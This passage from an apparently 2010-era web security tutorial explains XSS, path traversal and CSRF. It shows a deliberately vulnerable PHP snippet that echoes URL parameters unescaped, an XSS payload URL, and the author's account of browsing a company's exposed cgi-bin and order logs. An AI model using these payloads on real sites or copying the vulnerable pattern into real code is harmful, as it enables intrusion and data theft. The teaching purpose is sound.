&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// if there is a parameter called color, use that one&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;color&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;color&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// if there is a parameter called background, use that one&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;background&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;background&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;style type=&quot;&amp;lt;/code&quot;&gt;
&lt;code class=&quot;string&quot;&gt;&quot;text/css&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;media=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;screen&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;#intro{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;/* color is set by PHP */&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;color:&lt;?php &lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;/* background is set by PHP */&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;background:&lt;?php &lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;?&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;font-family:helvetica,arial,sans-serif;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;font-size:200%;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;padding:10px;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt; &lt;/style&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;27&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;div id=&quot;&amp;lt;/code&quot;&gt;&lt;code class=&quot;string&quot;&gt;&quot;intro&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Cool intro block, customizable, too!&lt;/code&gt;&lt;/div&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;So far, everything’s kosher, and we’re not even using inline styles! If you save this now as &lt;em&gt;test.php&lt;/em&gt; and call it on your server in your browser as the URI  &lt;code&gt;http://example.com/test.php&lt;/code&gt;, you will get a text intro block that is black on white. The &lt;code&gt;$_GET[]&lt;/code&gt;
 variables come from the URI as parameters, and because they are not 
set, nothing changes. If you want the colors to be red on pink, you can 
do this: &lt;code&gt;http://example.com/test.php?color=red&amp;amp;background=pink&lt;/code&gt;.
But because you allow any value for the variables, an attacker could send the following: 
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_449313&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://example.com/test.php?color=green&amp;amp;background=%3C/&quot;&gt;http://example.com/test.php?color=green&amp;amp;background=&lt;!--&lt;/a--&gt;&lt;/a&gt;&lt;/code&gt;&lt;a href=&quot;http://example.com/test.php?color=green&amp;amp;background=%3C/&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;style&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;alert(String.fromCharCode(88,83,83))&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;script&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This would effectively close the style block prematurely and add a 
script to the document. In this case, all we would be doing is writing 
out the word XSS, but we could do anything that a JavaScript is allowed 
to do. You can see the results in the following screenshot:
&lt;a href=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg&quot;&gt;&lt;img alt=&quot;XSS example.&quot; height=&quot;368&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/xss.jpg&quot; width=&quot;550&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/4242086213_c3a9fae808_o.jpg&quot;&gt;Large view&lt;/a&gt;
Once you have successfully injected JavaScript, you will be able to 
read out cookies; open forms that ask the user to enter their passwords 
or credit card details; execute viruses, worms and “drive-by downloads”;
 the lot. The reason is that JavaScript is not bound by any security 
model; any script on the page has the same rights, no matter which 
server it has come from. This is a big security problem with JavaScript 
and is something clever people are working on.
XSS is a very common problem. Websites such as &lt;a href=&quot;http://xssed.org/&quot;&gt;XSSED.org&lt;/a&gt; have a field day showing the world just how many websites are vulnerable:
&lt;a href=&quot;http://xssed.org/&quot;&gt;&lt;img alt=&quot;XSSed.org lists cross-site-scripting vulnaribilities.&quot; height=&quot;389&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/xssed.jpg&quot; width=&quot;550&quot; /&gt;&lt;/a&gt;
The remedy for XSS is to be very paranoid about anything that comes 
via forms or the URI. You also need to be sure that your PHP is set up 
properly (we’ll come back to some ways to test for that and to write 
good code later on).
&lt;h4&gt;Path Traversal&lt;/h4&gt;Allowing for path or directory traversal on your server is an 
amazingly bad idea. You would be allowing people to list the folders on 
your server and to navigate from folder to folder. This allows attackers
 to go to folders with sensitive information or website functionality 
and have some fun. The following screenshot is of me accessing the 
database of a sandwich company, sending emails from their server and 
reading the order logs:
&lt;a href=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/menu-management.gif&quot;&gt;&lt;img alt=&quot;An unprotected cgi_bin will hurt you.&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/path.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/menu-management.gif&quot;&gt;Large view&lt;/a&gt;
I was able to get all of this information simply by accessing the &lt;em&gt;cgi-bin&lt;/em&gt; folder, which was unprotected from being listed. So, instead of going to &lt;code&gt;http://example.com&lt;/code&gt;, I went to &lt;code&gt;http://example.com/cgi-bin/&lt;/code&gt;
 in my browser. I knew something was wrong on their big Flash website 
when I clicked on the menu. It popped up in a new window and had a URI 
like 
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_879403&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.example.com/cgi/food_db/db.cgi?db=default&amp;amp;uid=default&amp;amp;Category=Sandwiches&amp;amp;Subcategory=Sandwiches&amp;amp;Product=Chicken%20and%20Bacon&amp;amp;Soup_size=&amp;amp;Drinks_milk_type=&amp;amp;ww=on&amp;amp;view_records=yes&quot;&gt;http://www.example.com/cgi/food_db/db.cgi?db=default&amp;amp;uid=default&amp;amp;Category=Sandwiches&amp;amp;Subcategory=Sandwiches&amp;amp;Product=Chicken%20and%20Bacon&amp;amp;Soup_size=&amp;amp;Drinks_milk_type=&amp;amp;ww=on&amp;amp;view_records=yes&lt;/a&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;which gave me all the information I needed to play around.
The other problem of allowing folders to be listed is that search 
engines will index your information, allowing anyone to use Google as a 
hacking tool. As servers create a page with a title and a headline of 
the folder name, these are indexed by Google.
You could &lt;a href=&quot;http://www.google.com/search?hl=en&amp;amp;q=%22index+of+%2Febooks%22&quot;&gt;search for, say, “index of /ebooks”&lt;/a&gt; to find electronic books online or &lt;a href=&quot;http://www.google.com/search?hl=en&amp;amp;q=%22index+of+%2Fphotos%22&quot;&gt;“index of /photos”&lt;/a&gt; to find photos. To see search tests such as this one, check out the &lt;a href=&quot;http://gray-world.net/etc/passwd/googletut1.txt&quot;&gt;Google a Dream Come True&lt;/a&gt; article, which listed many of them in 2003(!).
This method of searching worked much better in the past, by the way: 
not because people protect their servers better now, but because 
spammers who offer fake pirated products realize that people do these 
searches and fake it now to optimize their own websites’ search engine 
rankings.
&lt;h4&gt;Cross-Site Request Forgery&lt;/h4&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Csrf&quot;&gt;Cross-site request forgery&lt;/a&gt;
 (CSRF) exploits browsers and websites that allow for functionality to 
be called without really knowing that an actual user initiated it. Say 
you have a form on your website &lt;code&gt;http://example.com&lt;/code&gt; that works with GET and sends things to your database:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_448179&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;method&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;get&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;action&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;add_to_db.php&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Name&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;text&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;id&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;email&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;email&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;text&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;id&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;email&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;email&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
